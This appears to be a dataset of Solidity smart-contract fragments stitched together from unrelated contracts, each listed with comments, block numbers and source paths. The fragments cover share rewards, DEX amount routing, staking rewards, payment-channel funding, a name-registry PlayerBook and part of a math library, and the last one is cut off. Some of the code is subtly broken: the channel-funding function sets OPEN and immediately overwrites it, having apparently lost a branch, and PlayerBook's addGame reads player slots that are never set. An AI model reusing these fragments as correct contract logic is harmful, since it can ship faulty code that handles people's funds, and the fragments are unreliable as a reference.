if (!isShareHolder[_targetAddress]) {
holders.push(_targetAddress);
isShareHolder[_targetAddress] = true;
holderCount += 1;
}
shareCount[msg.sender] = shareCount[msg.sender].sub(_shareAmount);
shareCount[_targetAddress] = shareCount[_targetAddress].add(
_shareAmount
);
}
// Shareholder Methods
function claimRewards() external {
require(isShareHolder[msg.sender], "msg.sender is not a shareholder.");
IERC20(rewardToken).safeTransfer(
msg.sender,
claimableReward[msg.sender]
);
// Stats
rewardAmountInside -= claimableReward[msg.sender];
emit RewardCollected(claimableReward[msg.sender], msg.sender);
claimableReward[msg.sender] = 0;
}
function getSharePrice() public view returns (uint256) {
return purchaseTokenPrice + purchaseTokenPremium;
}
function buyShares(uint256 _shareCount) external {
require(
sharePurchaseEnabled,
"Shares are not purchasable at the moment."
);
uint256 _totalPrice = getSharePrice();
uint256 _totalAmount = _totalPrice * _shareCount;
IERC20(purchaseToken).safeTransferFrom(
msg.sender,
address(this),
_totalAmount
);
totalInvestment = totalInvestment.add(
_shareCount.mul(purchaseTokenPrice)
);
if (!isShareHolder[msg.sender]) {
holders.push(msg.sender);
isShareHolder[msg.sender] = true;
holderCount += 1;
}
shareCount[msg.sender] = shareCount[msg.sender].add(_shareCount);
totalShareCount = totalShareCount.add(_shareCount);
newInvestments = newInvestments.add(
purchaseTokenPrice.mul(_shareCount)
);
premiumCollected = premiumCollected.add(
purchaseTokenPremium.mul(_shareCount)
);
emit Investment(
_shareCount,
purchaseTokenPrice.mul(_shareCount),
msg.sender
);
}
// MIGRATION START
function endMigartion() external onlyOwner {
isMigrating = false;
}
function addHolder(address _holder, uint256 _shareCount) internal {
holders.push(_holder);
isShareHolder[_holder] = true;
holderCount += 1;
shareCount[_holder] = _shareCount;
}
function copyFromPrevious(uint16 _start, uint16 _end) external onlyOwner {
require(isMigrating, "Migration is not in progress.");
uint256 _additionToTotalShareCount = 0;
for (uint16 _i = _start; _i < _end; _i++) {
// Calculate the reward
address _currentHolder = easyContract.holders(_i);
uint256 _shareCount = easyContract.shareCount(_currentHolder);
addHolder(_currentHolder, _shareCount);
_additionToTotalShareCount += _shareCount;
}
totalShareCount += _additionToTotalShareCount;
}
// MIGRATION END
// Modifiers
modifier onlyOwner() {
require(msg.sender == manager);
_;
}
}
|
Deposit to Share Rewards Methods
|
function setDepositToken(address _tokenAddress) external onlyOwner {
rewardToken = _tokenAddress;
}
| 12,720,509 |
./full_match/43114/0x481A2bE40120526a04BCc082596B98Ef7A8F56E4/sources/JoeTest.sol
|
performs chained getAmountIn calculations on any number of pairs
|
function getAmountsIn(
address factory,
uint256 amountOut,
address[] memory path
) internal view returns (uint256[] memory amounts) {
require(path.length >= 2, "JoeLibrary: INVALID_PATH");
amounts = new uint256[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint256 i = path.length - 1; i > 0; i--) {
(uint256 reserveIn, uint256 reserveOut) = getReserves(
factory,
path[i - 1],
path[i]
);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
| 4,518,772 |
./full_match/4/0xf57b3262dd2a54e7831f81eA5Eb6FC2e3cF00f2F/sources/browser/PearSteak.sol
|
Calculates the current reward of a stake. Get time staked Add a buffer to circumvent float calculations Gets amount of periods staked Multiplies the periods staked with the reward percent amount Multiplies the reward by the amount staked Removed the buffer Removes the percent buffer/
|
function getStakeReward(uint stake_) public view returns (uint) {
uint stakingTime = now - _staking[msg.sender][stake_].startTime;
uint buffededStakingTime = stakingTime * stakeBuffer;
uint periods = buffededStakingTime / yearInMs;
uint buffedRewardPeriodPercent = periods * _stakingOptions[_staking[msg.sender][stake_].stakeType].rewardPercent;
uint buffedReward = _staking[msg.sender][stake_].amount * buffedRewardPeriodPercent;
uint rewardPerc = buffedReward / stakeBuffer;
uint reward = rewardPerc / 100;
return reward;
}
| 812,406 |
./full_match/5/0xE546116B97a653aF1AbE99d1CDE079335c87a05B/sources/src/HoprChannels.sol
|
Funds a channel, then emits {ChannelUpdated} event. source the address of the channel source dest the address of the channel destination amount amount to fund account1/ We are reopening the channel
|
function _fundChannel(
address funder,
address source,
address dest,
uint256 amount
) internal validateSourceAndDest(source, dest) {
require(amount > 0, "amount must be greater than 0");
require(publicKeys[source].length != 0, "source has not announced");
require(publicKeys[dest].length != 0, "destination has not announced");
(, Channel storage channel) = _getChannel(source, dest);
require(channel.status != ChannelStatus.PENDING_TO_CLOSE, "Cannot fund a closing channel");
if (channel.status == ChannelStatus.CLOSED) {
channel.channelEpoch = channel.channelEpoch + 1;
channel.ticketIndex = 0;
if (channel.commitment != bytes32(0)) {
channel.status = ChannelStatus.OPEN;
emit ChannelOpened(source, dest);
channel.status = ChannelStatus.WAITING_FOR_COMMITMENT;
}
}
channel.balance = channel.balance + amount;
emit ChannelUpdated(source, dest, channel);
emit ChannelFunded(funder, source, dest, amount);
}
| 7,070,194 |
pragma solidity ^0.4.24;
interface PlayerBookReceiverInterface {
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external;
function receivePlayerNameList(uint256 _pID, bytes32 _name) external;
}
contract PlayerBook {
using NameFilter for string;
using SafeMath for uint256;
address private communityAddr = 0xf38ce89f0e7c0057fce8dc1e8dcbb36a2366e8c5;
//==============================================================================
// _| _ _|_ _ _ _ _|_ _ .
// (_|(_| | (_| _\(/_ | |_||_) .
//=============================|================================================
uint256 public registrationFee_ = 10 finney; // price to register a name
mapping(uint256 => PlayerBookReceiverInterface) public games_; // mapping of our game interfaces for sending your account info to games
mapping(address => bytes32) public gameNames_; // lookup a games name
mapping(address => uint256) public gameIDs_; // lokup a games ID
uint256 public gID_; // total number of games
uint256 public pID_; // total number of players
mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address
mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name
mapping (uint256 => Player) public plyr_; // (pID => data) player data
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amoungst any name you own)
mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_; // (pID => nameNum => name) list of names a player owns
struct Player {
address addr;
bytes32 name;
uint256 laff;
uint256 names;
}
//==============================================================================
// _ _ _ __|_ _ __|_ _ _ .
// (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy)
//==============================================================================
constructor()
public
{
// premine the dev names (sorry not sorry)
// No keys are purchased with this method, it's simply locking our addresses,
// PID's and names for referral codes.
plyr_[1].addr = 0xde38b17d669a1ca474f9adb4ca3c816e79275567;
plyr_[1].name = "plyr1";
plyr_[1].names = 1;
pIDxAddr_[0xde38b17d669a1ca474f9adb4ca3c816e79275567] = 1;
pIDxName_["plyr1"] = 1;
plyrNames_[1]["plyr1"] = true;
plyrNameList_[1][1] = "plyr1";
plyr_[2].addr = 0x0fa923b59b06b757f37ddd36d6862ebb37733faa;
plyr_[2].name = "plyr2";
plyr_[2].names = 1;
pIDxAddr_[0x0fa923b59b06b757f37ddd36d6862ebb37733faa] = 2;
pIDxName_["plyr2"] = 2;
plyrNames_[2]["plyr2"] = true;
plyrNameList_[2][1] = "plyr2";
pID_ = 2;
}
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev prevents contracts from interacting with fomo3d
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier onlyCommunity()
{
require(msg.sender == communityAddr, "msg sender is not the community");
_;
}
modifier isRegisteredGame()
{
require(gameIDs_[msg.sender] != 0);
_;
}
//==============================================================================
// _ _ _ _|_ _ .
// (/_\/(/_| | | _\ .
//==============================================================================
// fired whenever a player registers a name
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
//==============================================================================
// _ _ _|__|_ _ _ _ .
// (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan)
//=====_|=======================================================================
function checkIfNameValid(string _nameStr)
public
view
returns(bool)
{
bytes32 _name = _nameStr.nameFilter();
if (pIDxName_[_name] == 0)
return (true);
else
return (false);
}
//==============================================================================
// _ |_ |. _ |` _ __|_. _ _ _ .
// |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract)
//====|=========================================================================
/**
* @dev registers a name. UI will always display the last name you registered.
* but you will still own all previously registered names to use as affiliate
* links.
* - must pay a registration fee.
* - name must be unique
* - names will be converted to lowercase
* - name cannot start or end with a space
* - cannot have more than 1 space in a row
* - cannot be only numbers
* - cannot start with 0x
* - name must be at least 1 char
* - max length of 32 characters long
* - allowed characters: a-z, 0-9, and space
* -functionhash- 0x921dec21 (using ID for affiliate)
* -functionhash- 0x3ddd4698 (using address for affiliate)
* -functionhash- 0x685ffd83 (using name for affiliate)
* @param _nameString players desired name
* @param _affCode affiliate ID, address, or name of who refered you
* @param _all set to true if you want this to push your info to all games
* (this might cost a lot of gas)
*/
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
// make sure name fees paid
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
// filter name + condition checks
bytes32 _name = NameFilter.nameFilter(_nameString);
// set up address
address _addr = msg.sender;
// set up our tx event data and determine if player is new or not
bool _isNewPlayer = determinePID(_addr);
// fetch player id
uint256 _pID = pIDxAddr_[_addr];
// manage affiliate residuals
// if no affiliate code was given, no new affiliate code was given, or the
// player tried to use their own pID as an affiliate code, lolz
if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID)
{
// update last affiliate
plyr_[_pID].laff = _affCode;
} else if (_affCode == _pID) {
_affCode = 0;
}
// register name
registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
// make sure name fees paid
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
// filter name + condition checks
bytes32 _name = NameFilter.nameFilter(_nameString);
// set up address
address _addr = msg.sender;
// set up our tx event data and determine if player is new or not
bool _isNewPlayer = determinePID(_addr);
// fetch player id
uint256 _pID = pIDxAddr_[_addr];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// register name
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
// make sure name fees paid
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
// filter name + condition checks
bytes32 _name = NameFilter.nameFilter(_nameString);
// set up address
address _addr = msg.sender;
// set up our tx event data and determine if player is new or not
bool _isNewPlayer = determinePID(_addr);
// fetch player id
uint256 _pID = pIDxAddr_[_addr];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// register name
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
/**
* @dev players, if you registered a profile, before a game was released, or
* set the all bool to false when you registered, use this function to push
* your profile to a single game. also, if you've updated your name, you
* can use this to push your name to games of your choosing.
* -functionhash- 0x81c5b206
* @param _gameID game id
*/
function addMeToGame(uint256 _gameID)
isHuman()
public
{
require(_gameID <= gID_, "silly player, that game doesn't exist yet");
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _totalNames = plyr_[_pID].names;
// add players profile and most recent name
games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff);
// add list of all names
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
/**
* @dev players, use this to push your player profile to all registered games.
* -functionhash- 0x0c6940ea
*/
function addMeToAllGames()
isHuman()
public
{
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _laff = plyr_[_pID].laff;
uint256 _totalNames = plyr_[_pID].names;
bytes32 _name = plyr_[_pID].name;
for (uint256 i = 1; i <= gID_; i++)
{
games_[i].receivePlayerInfo(_pID, _addr, _name, _laff);
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
}
/**
* @dev players use this to change back to one of your old names. tip, you'll
* still need to push that info to existing games.
* -functionhash- 0xb9291296
* @param _nameString the name you want to use
*/
function useMyOldName(string _nameString)
isHuman()
public
{
// filter name, and get pID
bytes32 _name = _nameString.nameFilter();
uint256 _pID = pIDxAddr_[msg.sender];
// make sure they own the name
require(plyrNames_[_pID][_name] == true, "umm... thats not a name you own");
// update their current name
plyr_[_pID].name = _name;
}
//==============================================================================
// _ _ _ _ | _ _ . _ .
// (_(_)| (/_ |(_)(_||(_ .
//=====================_|=======================================================
function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all)
private
{
// if names already has been used, require that current msg sender owns the name
if (pIDxName_[_name] != 0)
require(plyrNames_[_pID][_name] == true, "sorry that names already taken");
// add name to player profile, registry, and name book
plyr_[_pID].name = _name;
pIDxName_[_name] = _pID;
if (plyrNames_[_pID][_name] == false)
{
plyrNames_[_pID][_name] = true;
plyr_[_pID].names++;
plyrNameList_[_pID][plyr_[_pID].names] = _name;
}
// registration fee goes directly to community rewards
communityAddr.transfer(address(this).balance);
// push player info to games
if (_all == true)
for (uint256 i = 1; i <= gID_; i++)
games_[i].receivePlayerInfo(_pID, _addr, _name, _affID);
// fire event
emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now);
}
//==============================================================================
// _|_ _ _ | _ .
// | (_)(_)|_\ .
//==============================================================================
function determinePID(address _addr)
private
returns (bool)
{
if (pIDxAddr_[_addr] == 0)
{
pID_++;
pIDxAddr_[_addr] = pID_;
plyr_[pID_].addr = _addr;
// set the new player bool to true
return (true);
} else {
return (false);
}
}
//==============================================================================
// _ _|_ _ _ _ _ | _ _ || _ .
// (/_>< | (/_| | |(_|| (_(_|||_\ .
//==============================================================================
function getPlayerID(address _addr)
isRegisteredGame()
external
returns (uint256)
{
determinePID(_addr);
return (pIDxAddr_[_addr]);
}
function getPlayerName(uint256 _pID)
external
view
returns (bytes32)
{
return (plyr_[_pID].name);
}
function getPlayerLAff(uint256 _pID)
external
view
returns (uint256)
{
return (plyr_[_pID].laff);
}
function getPlayerAddr(uint256 _pID)
external
view
returns (address)
{
return (plyr_[_pID].addr);
}
function getNameFee()
external
view
returns (uint256)
{
return(registrationFee_);
}
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
// make sure name fees paid
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
// set up our tx event data and determine if player is new or not
bool _isNewPlayer = determinePID(_addr);
// fetch player id
uint256 _pID = pIDxAddr_[_addr];
// manage affiliate residuals
// if no affiliate code was given, no new affiliate code was given, or the
// player tried to use their own pID as an affiliate code, lolz
uint256 _affID = _affCode;
if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID)
{
// update last affiliate
plyr_[_pID].laff = _affID;
} else if (_affID == _pID) {
_affID = 0;
}
// register name
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
// make sure name fees paid
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
// set up our tx event data and determine if player is new or not
bool _isNewPlayer = determinePID(_addr);
// fetch player id
uint256 _pID = pIDxAddr_[_addr];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// register name
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
// make sure name fees paid
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
// set up our tx event data and determine if player is new or not
bool _isNewPlayer = determinePID(_addr);
// fetch player id
uint256 _pID = pIDxAddr_[_addr];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// register name
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
//==============================================================================
// _ _ _|_ _ .
// _\(/_ | |_||_) .
//=============|================================================================
function addGame(address _gameAddress, string _gameNameStr)
onlyCommunity()
public
{
require(gameIDs_[_gameAddress] == 0, "derp, that games already been registered");
gID_++;
bytes32 _name = _gameNameStr.nameFilter();
gameIDs_[_gameAddress] = gID_;
gameNames_[_gameAddress] = _name;
games_[gID_] = PlayerBookReceiverInterface(_gameAddress);
games_[gID_].receivePlayerInfo(1, plyr_[1].addr, plyr_[1].name, 0);
games_[gID_].receivePlayerInfo(2, plyr_[2].addr, plyr_[2].name, 0);
games_[gID_].receivePlayerInfo(3, plyr_[3].addr, plyr_[3].name, 0);
games_[gID_].receivePlayerInfo(4, plyr_[4].addr, plyr_[4].name, 0);
}
function setRegistrationFee(uint256 _fee)
onlyCommunity()
public
{
registrationFee_ = _fee;
}
}
/**
* @title -Name Filter- v0.1.9
* ┌┬┐┌─┐┌─┐┌┬┐ ╦╦ ╦╔═╗╔╦╗ ┌─┐┬─┐┌─┐┌─┐┌─┐┌┐┌┌┬┐┌─┐
* │ ├┤ ├─┤│││ ║║ ║╚═╗ ║ ├─┘├┬┘├┤ └─┐├┤ │││ │ └─┐
* ┴ └─┘┴ ┴┴ ┴ ╚╝╚═╝╚═╝ ╩ ┴ ┴└─└─┘└─┘└─┘┘└┘ ┴ └─┘
* _____ _____
* (, / /) /) /) (, / /) /)
* ┌─┐ / _ (/_ // // / _ // _ __ _(/
* ├─┤ ___/___(/_/(__(_/_(/_(/_ ___/__/_)_(/_(_(_/ (_(_(_
* ┴ ┴ / / .-/ _____ (__ /
* (__ / (_/ (, / /)™
* / __ __ __ __ _ __ __ _ _/_ _ _(/
* ┌─┐┬─┐┌─┐┌┬┐┬ ┬┌─┐┌┬┐ /__/ (_(__(_)/ (_/_)_(_)/ (_(_(_(__(/_(_(_
* ├─┘├┬┘│ │ │││ ││ │ (__ / .-/ © Jekyll Island Inc. 2018
* ┴ ┴└─└─┘─┴┘└─┘└─┘ ┴ (_/
* _ __ _ ____ ____ _ _ _____ ____ ___
*=============| |\ | / /\ | |\/| | |_ =====| |_ | | | | | | | |_ | |_)==============*
*=============|_| \| /_/--\ |_| | |_|__=====|_| |_| |_|__ |_| |_|__ |_| \==============*
*
* ╔═╗┌─┐┌┐┌┌┬┐┬─┐┌─┐┌─┐┌┬┐ ╔═╗┌─┐┌┬┐┌─┐ ┌──────────┐
* ║ │ ││││ │ ├┬┘├─┤│ │ ║ │ │ ││├┤ │ dddos │
* ╚═╝└─┘┘└┘ ┴ ┴└─┴ ┴└─┘ ┴ ╚═╝└─┘─┴┘└─┘ └──────────┘
*/
library NameFilter {
/**
* @dev filters name strings
* -converts uppercase to lower case.
* -makes sure it does not start/end with a space
* -makes sure it does not contain multiple spaces in a row
* -cannot be only numbers
* -cannot start with 0x
* -restricts characters to A-Z, a-z, 0-9, and space.
* @return reprocessed string in bytes32 format
*/
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
//sorry limited to 32 characters
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
// make sure it doesnt start with or end with space
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
// make sure first two characters are not 0x
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
// create a bool to track if we have a non number character
bool _hasNonNumber;
// convert & check
for (uint256 i = 0; i < _length; i++)
{
// if its uppercase A-Z
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
// convert to lower case a-z
_temp[i] = byte(uint(_temp[i]) + 32);
// we have a non number
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
// require character is a space
_temp[i] == 0x20 ||
// OR lowercase a-z
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
// or 0-9
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
// make sure theres not 2x spaces in a row
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
// see if we have a character other than a number
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
/**
* @title SafeMath v0.1.9
* @dev Math operations with safety checks that throw on error
* change notes: original SafeMath library from OpenZeppelin modified by dddos
* - added sqrt
* - added sq
* - added pwr
* - changed asserts to requires with error log outputs
* - removed div, its useless
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
/**
* @dev x to the power of y
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
|
players, use this to push your player profile to all registered games. -functionhash- 0x0c6940ea/
|
function addMeToAllGames()
isHuman()
public
{
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _laff = plyr_[_pID].laff;
uint256 _totalNames = plyr_[_pID].names;
bytes32 _name = plyr_[_pID].name;
for (uint256 i = 1; i <= gID_; i++)
{
games_[i].receivePlayerInfo(_pID, _addr, _name, _laff);
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
}
| 467,118 |
pragma solidity 0.4.24;
pragma experimental ABIEncoderV2;
contract IERC20Token {
// solhint-disable no-simple-event-func-name
event Transfer(
address indexed _from,
address indexed _to,
uint256 _value
);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _value
);
/// @dev send `value` token to `to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return True if transfer was successful
function transfer(address _to, uint256 _value)
external
returns (bool);
/// @dev send `value` token to `to` from `from` on the condition it is approved by `from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return True if transfer was successful
function transferFrom(
address _from,
address _to,
uint256 _value
)
external
returns (bool);
/// @dev `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Always true if the call has enough gas to complete execution
function approve(address _spender, uint256 _value)
external
returns (bool);
/// @dev Query total supply of token
/// @return Total supply of token
function totalSupply()
external
view
returns (uint256);
/// @param _owner The address from which the balance will be retrieved
/// @return Balance of owner
function balanceOf(address _owner)
external
view
returns (uint256);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender)
external
view
returns (uint256);
}
contract SafeMath {
function safeMul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(
c / a == b,
"UINT256_OVERFLOW"
);
return c;
}
function safeDiv(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a / b;
return c;
}
function safeSub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(
b <= a,
"UINT256_UNDERFLOW"
);
return a - b;
}
function safeAdd(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a + b;
require(
c >= a,
"UINT256_OVERFLOW"
);
return c;
}
function max64(uint64 a, uint64 b)
internal
pure
returns (uint256)
{
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b)
internal
pure
returns (uint256)
{
return a < b ? a : b;
}
function max256(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
return a < b ? a : b;
}
}
/*
Copyright 2018 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract LibMath is
SafeMath
{
/// @dev Calculates partial value given a numerator and denominator rounded down.
/// Reverts if rounding error is >= 0.1%
/// @param numerator Numerator.
/// @param denominator Denominator.
/// @param target Value to calculate partial of.
/// @return Partial value of target rounded down.
function safeGetPartialAmountFloor(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256 partialAmount)
{
require(
denominator > 0,
"DIVISION_BY_ZERO"
);
require(
!isRoundingErrorFloor(
numerator,
denominator,
target
),
"ROUNDING_ERROR"
);
partialAmount = safeDiv(
safeMul(numerator, target),
denominator
);
return partialAmount;
}
/// @dev Calculates partial value given a numerator and denominator rounded down.
/// Reverts if rounding error is >= 0.1%
/// @param numerator Numerator.
/// @param denominator Denominator.
/// @param target Value to calculate partial of.
/// @return Partial value of target rounded up.
function safeGetPartialAmountCeil(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256 partialAmount)
{
require(
denominator > 0,
"DIVISION_BY_ZERO"
);
require(
!isRoundingErrorCeil(
numerator,
denominator,
target
),
"ROUNDING_ERROR"
);
// safeDiv computes `floor(a / b)`. We use the identity (a, b integer):
// ceil(a / b) = floor((a + b - 1) / b)
// To implement `ceil(a / b)` using safeDiv.
partialAmount = safeDiv(
safeAdd(
safeMul(numerator, target),
safeSub(denominator, 1)
),
denominator
);
return partialAmount;
}
/// @dev Calculates partial value given a numerator and denominator rounded down.
/// @param numerator Numerator.
/// @param denominator Denominator.
/// @param target Value to calculate partial of.
/// @return Partial value of target rounded down.
function getPartialAmountFloor(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256 partialAmount)
{
require(
denominator > 0,
"DIVISION_BY_ZERO"
);
partialAmount = safeDiv(
safeMul(numerator, target),
denominator
);
return partialAmount;
}
/// @dev Calculates partial value given a numerator and denominator rounded down.
/// @param numerator Numerator.
/// @param denominator Denominator.
/// @param target Value to calculate partial of.
/// @return Partial value of target rounded up.
function getPartialAmountCeil(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256 partialAmount)
{
require(
denominator > 0,
"DIVISION_BY_ZERO"
);
// safeDiv computes `floor(a / b)`. We use the identity (a, b integer):
// ceil(a / b) = floor((a + b - 1) / b)
// To implement `ceil(a / b)` using safeDiv.
partialAmount = safeDiv(
safeAdd(
safeMul(numerator, target),
safeSub(denominator, 1)
),
denominator
);
return partialAmount;
}
/// @dev Checks if rounding error >= 0.1% when rounding down.
/// @param numerator Numerator.
/// @param denominator Denominator.
/// @param target Value to multiply with numerator/denominator.
/// @return Rounding error is present.
function isRoundingErrorFloor(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (bool isError)
{
require(
denominator > 0,
"DIVISION_BY_ZERO"
);
// The absolute rounding error is the difference between the rounded
// value and the ideal value. The relative rounding error is the
// absolute rounding error divided by the absolute value of the
// ideal value. This is undefined when the ideal value is zero.
//
